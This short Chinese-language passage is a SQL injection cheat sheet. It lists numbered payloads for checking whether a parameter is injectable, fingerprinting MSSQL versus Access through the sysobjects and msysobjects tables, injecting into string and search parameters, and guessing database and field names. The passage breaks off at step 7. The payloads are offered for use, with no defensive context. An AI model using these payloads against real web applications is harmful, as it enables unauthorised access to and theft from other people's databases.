代码如下:1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.注入参数是字符 ‘and [查询条件] and ”=’ 4.搜索时没过滤参数的 ‘and [查询条件] and ‘%’=’ 5.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from msysobjects)>0 access 6.猜数据库 ;and (Select Count(*) from [数据库名])>0 7.猜字段 ;an